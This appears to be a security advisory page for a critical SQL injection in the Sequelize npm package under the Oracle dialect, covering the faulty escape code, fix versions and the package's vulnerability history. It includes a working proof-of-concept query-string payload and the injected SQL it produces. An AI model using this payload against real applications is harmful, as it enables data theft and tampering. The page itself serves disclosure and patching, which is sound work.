Critical

Sequelize: SQL Injection (Oracle DB)

  • Disclosed: 03.08.2026
  • Updated: 11.10.2026 10:22

Summary

SQL Injection is possible with strings only if dialect is set to oracle. The vulnerability was confirmed on Sequelize v6.37.3.

Details

The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.

js
  } else if (dialect === 'oracle' && typeof val === 'string') {
    if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
      return val;
    }
    val = val.replace(/'/g, "''");
  }

PoC

Suppose the application has the following code:

js
  var result = await models.Student.findOne({
    where: {
      firstName: req.query.firstName
    }
  });

An attacker can inject arbitrary sql expressions.

http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--

The resulted SQL will be:

sql
SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;

Impact

Data theft and tampering.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package sequelize < 6.37.4 6.37.4

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-89
Platform
npm
Package
sequelize
Disclosed
03.08.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-v8fg-2rw7-q452 - CC BY 4.0

Vulnerability history: sequelize

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (18) in the archive
Total entries
18
First → latest
10.2017 08.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 8
  • High 7
  • Medium 3

Disclosures per year

  1. 2017: 1
  2. 2018: 0
  3. 2019: 9
  4. 2020: 2
  5. 2021: 0
  6. 2022: 0
  7. 2023: 4
  8. 2024: 0
  9. 2025: 0
  10. 2026: 2
Severity:
  1. Sequelize: SQL Injection (Oracle DB) this entry
    Critical · 9.8 CVE-2026-69240 < 6.37.4 6.37.4
  2. High · 7.5 CVE-2026-30951 >= 6.0.0-beta.1, < 6.37.8 6.37.8
  3. Critical · 10.0 CVE-2023-22578 < 6.29.0 6.29.0
  4. Critical · 9.9 CVE-2023-22579 < 6.28.1 6.28.1
  5. Critical · 10.0 CVE-2023-25813 < 6.19.1 6.19.1
  6. Critical · 9.8 CVE-2016-1000225 >= 3.4.0, < 3.23.6 3.23.6
  7. Critical · 9.8 CVE-2019-10749 < 3.35.1 3.35.1
  8. Critical · 9.8 CVE-2019-10748 < 3.35.1, >= 4.0.0, < 4.44.3, >= 5.0.0, < 5.8.11 3.35.1, 4.44.3, 5.8.11
  9. Critical · 9.8 CVE-2019-10752 < 4.44.3, >= 5.0.0, < 5.15.1 4.44.3, 5.15.1
  10. High ghsa-wfp9-vr4j-f49j < 4.12.0 4.12.0
  11. High · 7.5 CVE-2019-11069 >= 5.0.0, < 5.3.0 5.3.0
  12. High CVE-2016-10550 < 3.17.0 3.17.0
  13. High CVE-2016-10553 < 3.0.0 3.0.0
  14. High · 7.5 CVE-2016-10556 < 3.20.0 3.20.0
  15. High CVE-2015-1369 < 2.0.0-rc8 2.0.0-rc8

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